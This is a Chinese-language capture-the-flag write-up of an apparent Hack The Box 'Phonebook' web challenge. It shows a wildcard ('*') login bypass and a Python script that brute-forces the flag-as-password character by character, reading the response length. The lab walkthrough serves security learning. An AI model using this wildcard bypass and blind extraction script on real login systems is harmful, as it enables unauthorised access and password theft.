0x01 提示
Who is lucky enough to be included in the phonebook?
看提示意思是要枚举或者查找电话簿?直接打开页面:
0x02 尝试
查看源代码,发现什么都没有。
爆破是不可能爆破的,只能尝试绕过,先上burpsuite,对输入框进行fuzz,看看有没有sql注入漏洞,没有成功。
然后尝试通配符*绕过,尝试使用用户名:Reese
和密码:*
,进行登录。
登录成功,进入到下一个页面:
在搜索栏中输入一个空格,搜索,出现下图页面:
没有找到有用的信息,查看源代码,也是没有。
回到刚才的页面,将用户名改为Hun,密码还是*,尝试登录,没有成功。
0x03 猜测
本来以为该页面区分管理员和非管理员,当前登录为非管理员账户,所有没有获取到flag,但是换了用户名,没有登录成功,说明关键点还是在用户Reese上。
本页面有一个漏洞就是通配符,想到是否可以利用通配符来爆破密码?猜测flag就是用户的密码。
尝试输入密码为HTB{*}
,发现登录成功,说明flag就是密码。
0x04 获取flag
当然,一个个尝试不太现实,我们可以编写python脚本来进行破解,脚本如下:
# -*- coding: utf-8 -*-
"""
Created on Tue May 4 14:11:24 2021
@author: Fstraw
"""
import requests
import string
pw = 'HTB{'
url = 'http://xxx/login'
#HTB的flag由英文大小写和数字和下划线构成。
words = string.ascii_lowercase + string.ascii_uppercase + '0123456789_'
i = 0
while True:
#遍历所有字符串
for w in words:
#提交的值
data = {'username':'reese','password':pw + w + '*' }
r = requests.post(url,data)
lenth = r.headers['Content-Length']
#登录成功的长度为2586
if lenth == '2586':
pw = pw + w
print('==============')
print(pw)
#跳出for循环
break
data = {'username':'reese','password':pw + '}'}
r = requests.post(url,data)
if r.headers['Content-Length'] == '2586':
#输出flag
print('==============')
print(pw + '}')
#跳出while循环
break
0x05 总结
考察了对通配符漏洞的利用和编写python脚本的能力。